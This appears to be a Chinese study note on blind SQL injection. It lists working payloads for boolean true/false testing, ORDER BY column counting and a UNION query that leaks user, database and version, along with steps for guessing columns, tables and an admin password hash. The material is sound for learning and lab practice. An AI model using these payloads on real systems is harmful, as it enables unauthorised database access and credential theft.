sql盲注
前面讲的sql注入内容都是基于输入错误的sql语句,服务器会返回数据库内建的报错信息,所以我们可以猜测他的数据库是怎么构造的。
当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲。
思路:既然无法基于报错信息判断结果,我们可以基于逻辑真假的不同结果来判断。
1' and 1=1--
1' and 1=2--
结果为假时,无内容显示。
1' order by 5--
1' order by 2--
1.有权读取information_schema库
1' union select null,concat_ws(char(32,52,32),user(),database(),version())--
2.无权读取information_schema库
(1)猜列名
1' and user is not null--
为假无结果
为真有结果,所以有user这一列
(2)猜当前表名
1' and users.user is not null--
(3)猜表名
1' and (select count(*) from guestbook)>0--
(4)猜字段
1' and user='admin
1' or user like '%a%
(5)猜账号对应密码
1' or user='admin' and password='5f4dcc3b5aa765d61d8327deb8821f99